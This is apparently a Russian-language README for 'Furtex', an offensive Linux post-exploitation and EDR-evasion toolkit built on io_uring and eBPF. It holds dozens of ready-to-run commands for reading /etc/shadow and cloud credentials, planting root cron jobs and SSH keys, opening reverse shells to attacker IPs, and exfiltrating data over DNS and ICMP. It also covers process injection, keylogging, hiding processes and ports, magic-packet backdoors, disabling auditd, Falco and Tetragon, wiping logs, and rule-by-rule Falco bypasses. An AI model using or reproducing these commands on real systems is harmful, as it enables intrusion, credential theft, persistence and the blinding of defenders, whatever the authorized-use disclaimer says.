
Инструментарий для постэксплуатации и обхода защиты для Linux.
Инструментарий для исследований в области пост-эксплуатации и обхода защиты для Linux, построенный на io_uring и eBPF. Без liburing, без фреймворков, везде используются сырые системные вызовы.
Скоро появятся новые инструменты. Принимаются PR. 🇧🇷
Присоединяйтесь к сообществу Rootkit Researchers
Только для авторизованных исследований и действий red team. Не запускайте это на системах, которые вам не принадлежат.
```
Furtex/
├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools)
├── bpf/ BPF map and program tooling (15 tools)
├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners)
├── edrs/ EDR evasion and post-exploitation (75 tools)
└── techniques/ Falco-specific bypass, all 25 default rules (13 tools)
## Требования
**Инструментарий**
| инструмент | необходим для |
|---|---|
| `gcc` | все пользовательские бинарные файлы |
| `clang` | BPF-программы в `ebpf/*.bpf.c` |
| `make` | система сборки |
**Заголовочные файлы и библиотеки**
| пакет | необходим для |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` и соответствующие заголовочные файлы ядра |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` и прочие, используемые в программах `ebpf/` |
| `bpftool` | генерировать `vmlinux.h` с помощью `make vmlinux` внутри `ebpf/` |
В Debian/Kali/Ubuntu:```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool
Версии ядра
Возможности
BTF должна быть включена в ядре (CONFIG_DEBUG_INFO_BTF=y) для выполнения make vmlinux для программ ebpf/.
На дистрибутивах со старыми заголовками libc-dev (Ubuntu 22.04 и т.д.) может потребоваться #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. В этом репозитории это уже обработано.
edrs/ имеет собственный под-файл Makefile с примерно 75 бинарниками, разделёнными по привилегиям:```
cd edrs && make priv # root / CAP_* required
cd edrs && make unpriv # no privileges needed
См. [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/HEAD/PRIVILEGES.md) для полного разбора.
## Охват обхода io_uring
SQEs io_uring проходят через очередь (workqueue) ядра. `io_uring_enter(2)` никогда не вызывает `sys_call_table`, никогда не срабатывает на точках трассировки `sys_enter_*` и никогда не попадает под livepatch для `native_sys_call`. Одно это убивает большой класс хуков EDR, не затрагивая ничего.
Что io_uring обходит самостоятельно:
| точка хука | примечание |
|---|---|
| замена указателя `sys_call_table` | io_uring никогда не проходит через таблицу системных вызовов |
| livepatch на `native_sys_call` / `compat_sys_call` | та же причина |
| точки трассировки `sys_enter_*` | путь очереди (workqueue), ни одна точка трассировки не срабатывает |
Что io_uring НЕ обходит самостоятельно (требуется активный инструмент):
| точка хука | инструмент | что делает инструмент |
|---|---|---|
| kprobes на `vfs_read`, `security_file_open` и т. д. | `ftrace_enum` | удаляет хуки kprobes |
| BPF LSM / KRSI | `bpf_link_detach` | отсоединяет BPF-ссылку |
| аудит Linux | `audit_kill` | отключает auditd через NETLINK_AUDIT |
| LD_PRELOAD / патчи PLT-GOT | `plt_unhook` | удаляет хуки пользовательского пространства |
| netfilter OUTPUT / conntrack | `af_packet_shell` | использует AF_PACKET на уровне 2, минует netfilter |
| хуки `inet_stream_connect` | `udp_shell` | использует UDP, никогда не вызывает путь tcp connect |
## io_uring/
`iouring_utils.h` обрабатывает настройку кольца без liburing.
| бинарник | что делает |
|---|---|
| `file_read` | цепочка OPENAT+READ+CLOSE через io_uring, без события sys_enter_read |
| `file_write` | цепочка OPENAT+WRITE+CLOSE |
| `file_append` | как file_write, но с O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV в одном кольце |
| `net_reverse_shell` | обратная оболочка через io_uring CONNECT |
| `multifile_read` | до 64 файлов в одном пакете SQE |
| `memfd_exec` | потоковая передача ELF через stdin в memfd, execve через /proc/self/fd |
| `proc_inject` | JIT-инъекция через /proc/PID/mem; инъекция ptrace (флаг --ptrace) |
| `pipe_splice` | SPLICE ядро-ядро, хуки пользовательского пространства никогда не видят байты |
| `inotify_bypass_watch` | io_uring READ не вызывает IN_ACCESS/IN_OPEN |
| `dns_exfil` | шестнадцатеричное кодирование данных как метки DNS-запросов через io_uring SENDMSG |
| `af_packet_send` | сырой Ethernet через AF_PACKET (IORING_OP_SOCKET, минует путь inet) |
| `xdp_socket_send` | сырой кадр через AF_XDP + кольцо UMEM, полностью минует netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow
sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>
sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>
Большинство инструментов требуют CAP_BPF. env_exfil работает без привилегий. icmp_trigger требует CAP_NET_RAW вместо CAP_BPF.
sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/file_read /etc/shadow sudo ./bpf/map_poison <isys_id> <eta_id> -- ./io_uring/net_reverse_shell 10.0.0.1 4444
## ebpf/
Требуется clang + libbpf + vmlinux.h. Выполните `make vmlinux` внутри `ebpf/` для генерации из BTF работающего ядра.
| файл | что делает |
|---|---|
| `exec.bpf.c` | точка трассировки на sys_enter_execve |
| `fentry_open.bpf.c` | точка трассировки на sys_enter_openat |
| `creds.bpf.c` | отслеживание openat+read по путям учетных данных |
| `keylog.bpf.c` | точка трассировки событий ввода, захват сырых кодов клавиш |
| `net.bpf.c` | логирование sys_enter_connect |
| `net_hide.bpf.c` | скрытие портов из /proc/net/tcp и /proc/net/udp |
| `proc_hide.bpf.c` | скрытие PID из вывода getdents64 |
| `tty_sniff.bpf.c` | захват записи и чтения stdin/stdout/stderr |
| `skf_c2_runner.c` | ICMP C2 через классический сокетный фильтр BPF |
| `xdp_backdoor.bpf.c` + `xdp_handler.c` | XDP-триггер по магическому UDP-пакету |```bash
sudo ./bpf/map_write <hidden_ports_id> 5c11 01
sudo ./bpf/map_write <hidden_pids_id> d2040000 01
sudo ./ebpf/skf_c2_runner
ping -p 4d41474900$(printf 'id' | xxd -p | tr -d '\n') -c1 <target>
sudo ./ebpf/xdp_handler <trigger_map_id> <handler_pid_map_id>
echo -n 'MAGICid' | nc -u -q1 <target> 31337
sudo ./edrs/bpf_prog_recon --all sudo ./edrs/ftrace_enum list sudo ./edrs/module_recon list sudo ./edrs/perf_bpf_kill scan sudo ./edrs/sysctl_blind show sudo ./edrs/tetragon_blind scan
sudo ./edrs/audit_kill disable sudo ./edrs/dmesg_wipe wipe sudo ./edrs/bpf_detach_all sudo ./edrs/ftrace_enum clear-kprobes sudo ./edrs/netfilter_flush sudo ./edrs/lkm_unload unload
./edrs/livepatch_bypass --read /etc/shadow ./edrs/uring_stealth cat /etc/shadow ./edrs/mmap_read /etc/shadow ./edrs/splice_read /etc/shadow ./edrs/plt_unhook read /etc/shadow ./edrs/openat2_bypass copy /etc/shadow /tmp/out
cat payload | ./edrs/memfd_userexec [args...] cat payload | ./edrs/fanotify_bypass --memfd-exec ./edrs/anon_shellcode <shellcode_hex> ./edrs/fexecve_drop - < payload
sudo ./edrs/proc_mem_inject --inject <shellcode_hex> ./edrs/proc_vm_inject <shellcode_hex> ./edrs/ptrace_inject_so inject /tmp/payload.so
./edrs/userland_persist --lhost 10.0.0.1 --lport 4444 ./edrs/userland_persist --sshkey "ssh-ed25519 AAAA..." sudo ./edrs/livepatch_bypass --persist 192.168.1.1 4444
./edrs/shared_mem_c2 --agent & ./edrs/shared_mem_c2 --ctrl --cmd "id" ./edrs/abstract_sock_c2 server & ./edrs/abstract_sock_c2 client ./edrs/udp_shell 192.168.1.1 4444 ./edrs/tls_shell 192.168.1.1 443
./edrs/dns_exfil_raw str exfil.example.com "data" ./edrs/pipe_exfil --send /etc/shadow 192.168.1.1 9999 cat data | sudo ./edrs/icmp_tunnel 192.168.1.1 - SSH_AUTH_SOCK=/run/user/1000/ssh-agent.sock ./edrs/ssh_agent_hijack
./edrs/self_delete delete ./edrs/time_stomp clone /etc/passwd /tmp/target sudo ./edrs/log_wipe hist /home/kali
./edrs/event_flood 500 4 -- ./edrs/proc_mem_inject --inject ./edrs/ringbuf_flood --flood --threads 8 --sec 5
./edrs/ns_exec user bash ./edrs/ns_exec full-hide bash ./edrs/clone_netns exec /bin/sh
./edrs/pidfd_steal scan ./edrs/pidfd_steal steal ./edrs/fd_steal_read <path_filter> ./edrs/fd_steal_read <path_filter>
## techniques/ (обход Falco)
Нацелен на набор правил Falco по умолчанию (драйвер `modern_ebpf`, 25 правил). Сначала запустите `edrs/edr_recon`.
Ось обхода A: предотвратить попадание события в Falco (io_uring пропускает `sys_enter_*`, слив ringbuf незаметно отбрасывает события).
Ось обхода B: событие достигает Falco, но условие правила не совпадает (подмена proc.name, pivot пути, альтернативные флаги).
| инструмент | ось | правила Falco |
|---|:---:|---|
| `uring_ops` | A | 1 2 3 7 9 10 12 13 14 15 18 21 |
| `ringbuf_overflow` | A | all |
| `rule_evade` | B | 3 5 6 17 |
| `kmod_unload` | A | all |
| `proc_ghost` | A/B | 22 23 25 |
| `exe_from_memfd_bypass` | B | 25 |
| `event_storm` | A | all |
| `proc_masquerade` | B | 3 4 5 8 17 |
| `ns_pivot` | B | 6 14 |
| `cgroup_escape` | A | 18 |
| `bypass_file_rules` | B | 1 2 3 9 10 11 12 13 21 |
| `bypass_proc_rules` | B | 4 6 8 15 17 18 19 20 22 23 24 |
| `per_rule_bypass` | A/B | all 25 |```bash
./techniques/uring_ops cat /etc/shadow
./techniques/uring_ops creds
./techniques/uring_ops write /etc/cron.d/x "* * * * * root /tmp/sh"
./techniques/uring_ops shell 10.0.0.1 4444
./techniques/uring_ops chain /etc/shadow 10.0.0.1 9999
sudo ./techniques/ringbuf_overflow find
sudo ./techniques/ringbuf_overflow drain <map_id>
./techniques/ringbuf_overflow flood 16 10
./techniques/rule_evade name-spoof
./techniques/rule_evade path-pivot
./techniques/rule_evade all
sudo ./techniques/kmod_unload list
sudo ./techniques/kmod_unload unload
./techniques/proc_ghost ghost-elf /bin/ls
./techniques/proc_ghost ghost-sc <hex>
./techniques/exe_from_memfd_bypass info
./techniques/exe_from_memfd_bypass sc <hex>
./techniques/exe_from_memfd_bypass shm-exec <elf>
./techniques/exe_from_memfd_bypass dlopen <so>
./techniques/event_storm mixed-storm 16 10
./techniques/event_storm snipe "cat /etc/shadow"
./techniques/proc_masquerade setname sshd <cmd...>
./techniques/proc_masquerade fakeparent sshd <cmd...>
./techniques/proc_masquerade clone-parent sshd <cmd...>
./techniques/ns_pivot net-new
./techniques/ns_pivot userns-shell
./techniques/cgroup_escape check
./techniques/cgroup_escape proof
./techniques/cgroup_escape shell 10.0.0.1 4444
./techniques/bypass_file_rules read-masked /etc/shadow
./techniques/bypass_file_rules log-clear /var/log/auth.log
./techniques/bypass_file_rules grep-bypass /home "PRIVATE"
./techniques/bypass_proc_rules reverse-shell 10.0.0.1 4444
./techniques/bypass_proc_rules anti-debug
./techniques/bypass_proc_rules proc-inject <pid> <addr> <hex>
./techniques/per_rule_bypass list
./techniques/per_rule_bypass sensitive-read /etc/shadow
./techniques/per_rule_bypass exec-proc /tmp/elf
./techniques/per_rule_bypass clear-log /var/log/auth.log
Открывайте PR. Инструменты одной цели, сырые системные вызовы, без новых зависимостей.
Этот проект предназначен строго для исследований в области безопасности, авторизованного тестирования на проникновение, соревнований CTF и разработки защитных инструментов. Все продемонстрированные здесь техники документированы в публичных исследованиях безопасности и документации ядра.
Не используйте этот инструментарий против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения. Несанкционированное использование может нарушать Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Директиву ЕС об атаках на информационные системы и аналогичные законы в вашей юрисдикции.
Авторы не несут ответственности за неправомерное использование. Используя это программное обеспечение, вы соглашаетесь, что несёте единоличную ответственность за соблюдение применимых законов.
| Минимальная | Что открывает |
|---|
| 5.4 | основа io_uring (IORING_FEAT_SINGLE_MMAP, итерация BPF-карт) |
| 5.6 | IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal) |
| 5.8 | разделение CAP_BPF + CAP_PERFMON (заменяет CAP_SYS_ADMIN для BPF) |
| 5.9 | BPF_LINK_DETACH (bpf_link_detach) |
| 5.19 | IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass) |
| Возможность | Инструменты, требующие её |
|---|
CAP_BPF (или CAP_SYS_ADMIN до версии 5.8) | все инструменты bpf/, загрузчики ebpf/ |
CAP_PERFMON | программы tracepoint и kprobe из ebpf/ |
CAP_NET_RAW | icmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger |
CAP_NET_ADMIN | xdp_socket_send, netfilter_flush |
CAP_AUDIT_CONTROL | audit_kill |
| Команда | Сборка |
|---|
make all | всё |
make uring | только io_uring/ |
make bpf | пользовательские инструменты bpf/ |
make ebpf | программы на стороне BPF (требуется clang + libbpf) |
make edrs | все бинарники edrs/ |
make techniques | инструменты обхода Falco |
make clean | удалить все бинарники |
| бинарный файл | описание |
|---|
map_recon | перечислить все загруженные BPF карты |
map_dumper | выгрузить содержимое карты по ID |
map_write | обновить записи карты по ID |
map_poison | обнулить записи interesting_sys Falco вокруг полезной нагрузки |
prog_recon | перечислить BPF программы: тип, имя, количество карт |
pid_allowlist | вставить PID в карту разрешенных списков EDR |
edr_fin | оценить загруженные BPF карты/программы по известным эвристикам EDR |
lsm_check | обнаружить активные BPF LSM хуки и проверить, заблокирована ли запись в карты |
bpf_persist | закрепить/извлечь/открепить карты и программы на bpffs |
map_snapshot | сохранить и восстановить содержимое карты в бинарный файл |
env_exfil | прочитать /proc/*/environ для секретов |
bpf_link_detach | перечислить и отсоединить BPF ссылки (удаляет LSM хуки) |
link_update | перенаправить BPF ссылку на no-op программу (хук остается видимым, ничего не делает) |
map_freeze | заморозить BPF карту только для чтения через BPF_MAP_FREEZE (запись возвращает -EPERM) |
icmp_trigger | ICMP бэкдор с магическим пакетом; запускает reverse shell через socketpair ретрансляцию; маскируется как kworker/u4:2 |
| sudo ./bpf/map_recon | |
| sudo ./bpf/map_dumper 42 --ascii | |
| sudo ./bpf/map_write <map_id> <key_hex> <val_hex> | |
| sudo ./bpf/prog_recon --maps --lsm-only | |
| sudo ./bpf/edr_fin | |
| sudo ./bpf/lsm_check <map_id> | |
| sudo ./bpf/pid_allowlist <map_id> [pid] | |
| sudo ./bpf/bpf_persist pin-map 42 /sys/fs/bpf/my_map | |
| sudo ./bpf/bpf_persist list /sys/fs/bpf | |
| sudo ./bpf/map_snapshot save <prog_id> snap.bin | |
| sudo ./bpf/map_snapshot restore snap.bin | |
| ./bpf/env_exfil --filter AWS | |
| sudo ./bpf/bpf_link_detach list --lsm-only | |
| sudo ./bpf/bpf_link_detach detach-lsm --dry-run | |
| sudo ./bpf/link_update <link_id> | |
| sudo ./bpf/map_freeze <map_id> | |
| sudo ./bpf/map_freeze --prog <name_substr> | |
| sudo ./bpf/icmp_trigger --daemon | |
| sudo ./bpf/icmp_trigger --send <c2_ip> <c2_port> |
| binary | root | technique |
|---|
edr_recon | yes | 12-вендорный детектор EDR: процессы, артефакты, модули, BPF, kprobes |
bpf_prog_recon | yes | перечисление загруженных BPF-программ, карт и kprobes |
bpf_map_wipe | yes | очистка записей BPF-карт |
bpf_detach_all | yes | открепление всех BPF-ссылок |
tetragon_blind | yes | сканирование, заморозка, разморозка, завершение или ослепление процессов Tetragon/Falco |
ftrace_enum | yes | перечисление и очистка хуков kprobe/ftrace |
lkm_unload | yes | выгрузка модулей ядра |
lkm_inline_detect | yes | обнаружение встроенных хуков ядра |
perf_bpf_kill | yes | перечисление и завершение BPF-программ Falco perf-event |
module_recon | yes | перечисление модулей ядра |
cgroup_freeze | yes | заморозка/разморозка процесса через cgroup v2 |
oom_cage | yes | установка oom_score_adj для себя или цели |
sysctl_blind | yes | чтение/запись системных настроек безопасности |
audit_kill | yes | отключение/ограничение аудита Linux через NETLINK_AUDIT |
inotify_exhaust | yes | потребление всех inotify-наблюдений |
netfilter_flush | yes | сброс цепочек netfilter |
dmesg_wipe | yes | очистка кольцевого буфера ядра |
ld_so_preload | yes | манипуляция /etc/ld.so.preload |
proc_hide | yes | скрытие /proc/PID через bind-mount |
mount_over | yes | bind-mount поверх произвольных путей |
log_wipe | yes | усечение файлов журналов и истории команд |
elf_infect | yes | инъекция паразита из PT_NOTE в PT_LOAD |
proc_mem_inject | yes | запись через pwrite в /proc/PID/mem без ptrace |
af_packet_shell | yes | сырой Ethernet C2 в обход netfilter OUTPUT |
icmp_tunnel | yes | экзфильтрация через полезную нагрузку ICMP echo-request |
event_flood | yes | затопление событиями вокруг полезной нагрузки для насыщения монитора |
livepatch_bypass | yes | io_uring в обход хуков livepatch на диспетчере системных вызовов |
livepatch_stack_blind | yes | отключение стека livepatch + BPF kprobe + netfilter; выгрузка модуля через подмену имени процесса |
lsm_authlink_blind | yes | отключение потоков LSM auth-link, заморозка или завершение агента аутентификации, запись через подмену inode |
lsm_callback_bypass | yes | обход колбэков LSM через pidfd_getfd, process_vm_writev, прикрепление perf+BPF, новое сетевое пространство |
bpf_fim_blind | yes | заморозка сенсора BPF FIM, очистка записей кольцевого буфера, затопление кольцевого буфера |
syscall_dispatch_bypass | yes | операции ввода/вывода и сети через io_uring в обход kprobes на диспетчере системных вызовов и livepatch do_syscall_64 |
bpf_kprobe_bypass | yes | операции с файлами, сетью и exec через io_uring в обход целей kprobe _x64_sys* |
ptrace_inject_so | yes | загрузка .so в работающий процесс через ptrace + dlopen |
uring_stealth | no | операции с файлами/сетью через io_uring, без событий sys_enter_* |
openat2_bypass | no | альтернативные системные вызовы (openat2, copy_file_range) |
ptrace_selfguard | no | блокировка внешнего ptrace через процесс-хранитель |
plt_unhook | no | обнаружение и обход хуков PLT-GOT через dlmopen |
fexecve_drop | no | ELF в memfd, execve через /proc/self/fd |
memfd_loader | no | загрузка .so через memfd, вызов конструктора |
memfd_userexec | no | ELF из stdin в memfd, execve через /proc/self/fd |
hollow_proc | no | замена образа процесса с подставным именем в ps |
argv_spoof | no | переименование comm через prctl(PR_SET_NAME) и перезапись argv[0] |
clone_netns | no | выполнение в непривилегированном сетевом пространстве |
ns_exec | no | разделение пространств пользователя/PID/монтирования |
splice_c2 | no | TCP C2 с использованием splice(2) для передачи данных; хуки send/recv никогда не срабатывают |
abstract_sock_c2 | no | C2 через абстрактный Unix-сокет |
udp_shell | no | UDP обратная оболочка, обходит inet_stream_connect |
tls_shell | no | обратная оболочка за поддельным TLS ClientHello |
dns_exfil_raw | no | шестнадцатеричное кодирование данных в метки DNS-запросов |
pidfd_steal | no | кража открытых файловых дескрипторов из других процессов через pidfd_getfd |
vma_hide | no | цикл RWX->PROT_NONE, MADV_DONTDUMP, переименование VMA |
coredump_block | no | блокировка дампов ядра через фильтр/dumpable/rlimit |
seccomp_notify | no | перехват системных вызовов через SECCOMP_USER_NOTIF |
ipc_covert | no | C2 через POSIX mqueue |
shared_mem_c2 | no | C2 через POSIX shm, без сетевого трафика |
pipe_exfil | no | экзфильтрация через splice(2), обход хуков LD_PRELOAD |
proc_fd_scan | no | сканирование симлинков /proc/PID/fd на предмет чувствительных путей |
proc_vm_inject | no | process_vm_writev, без открытия /proc/PID/fd |
self_delete | no | удаление собственного бинарника с диска во время работы |
time_stomp | no | клонирование/обнуление/установка atime+mtime |
userland_persist | no | bashrc/crontab/autostart/authorized_keys |
env_scrape | no | чтение /proc/*/environ для секретов и SSH-сокетов |
anon_shellcode | no | шеллкод в MAP_ANONYMOUS, без файла, без execve |
ld_preload_inject | no | сброс .so, инъекция через LD_PRELOAD |
ssh_agent_hijack | no | общение по протоколу агента с захваченным сокетом |
fanotify_bypass | no | memfd/anon-mmap/devshm для обхода отметок fanotify |
ringbuf_flood | no | насыщение кольцевого буфера BPF для сброса событий |
log_evasion | no | операции с файлами через io_uring и сырой системный вызов TCP shell, без обёрток libc |
syscalltable_bypass | no | io_uring в обход хуков указателя sys_call_table |
uring_recon_unpriv | no | учётные данные, ключи, соединения через io_uring read |
fd_steal_read | no | кража файловых дескрипторов через pidfd_getfd, чтение без собственного open() |
mmap_read | no | чтение файлов через mmap, без системного вызова read() |
scm_rights_exfil | no | передача файлового дескриптора через SCM_RIGHTS, чтение без собственного open() |
splice_read | no | чтение через splice(2), без буфера пользовательского пространства |
| sudo ./edrs/edr_recon | ||
| sudo ./edrs/edr_recon procs arts mods | ||
| sudo ./edrs/edr_recon progs maps |
| Правило | Обход | Инструмент |
|---|
| 1 Чтение отслеживаемого файла через обход каталогов | io_uring OPENAT | uring_ops cat, per_rule_bypass dir-traversal |
| 3 Чтение конфиденциального файла недоверенным процессом | io_uring или prctl | uring_ops creds, bypass_file_rules read-masked |
| 4 Запуск шелла недоверенным процессом | python3/perl вместо sh | rule_evade unusual-shell |
| 6 Терминальный шелл в контейнере | setsid, proc.tty=0 | bypass_proc_rules shell-notty |
| 7 Связь с K8S API Server | io_uring CONNECT | uring_ops shell, per_rule_bypass k8s-connect |
| 8 Netcat RCE | C binary, proc.name != nc/ncat | bypass_proc_rules reverse-shell |
| 9 Поиск приватных ключей | open+read на C, без grep/find | bypass_file_rules grep-bypass |
| 10 Очистка логов действий | ftruncate без O_TRUNC | bypass_file_rules log-clear |
| 11 Удаление массовых данных | цикл write, без shred/mkfs | bypass_file_rules wipe |
| 15 Перенаправление STDOUT/STDIN в сеть | fcntl F_DUPFD вместо dup2 | bypass_proc_rules reverse-shell |
| 18 Обнаружение побега через release_agent | io_uring OPENAT+WRITE в release_agent | cgroup_escape proof/shell, uring_ops write |
| 19 PTRACE, присоединённый к процессу | /proc/PID/mem или process_vm_writev | bypass_proc_rules proc-inject |
| 20 PTRACE, попытка антиотладки | Проверка TracerPid через /proc/self/status | bypass_proc_rules anti-debug |
| 22 Выполнение из /dev/shm | выполнение из /run/user/uid/ вместо | bypass_proc_rules run-safe |
| 25 Безфайловое выполнение через memfd_create | shellcode через mmap, без execve | exe_from_memfd_bypass sc, proc_ghost ghost-sc |
| все | очистка ringbuf или удаление scap.ko | ringbuf_overflow, kmod_unload |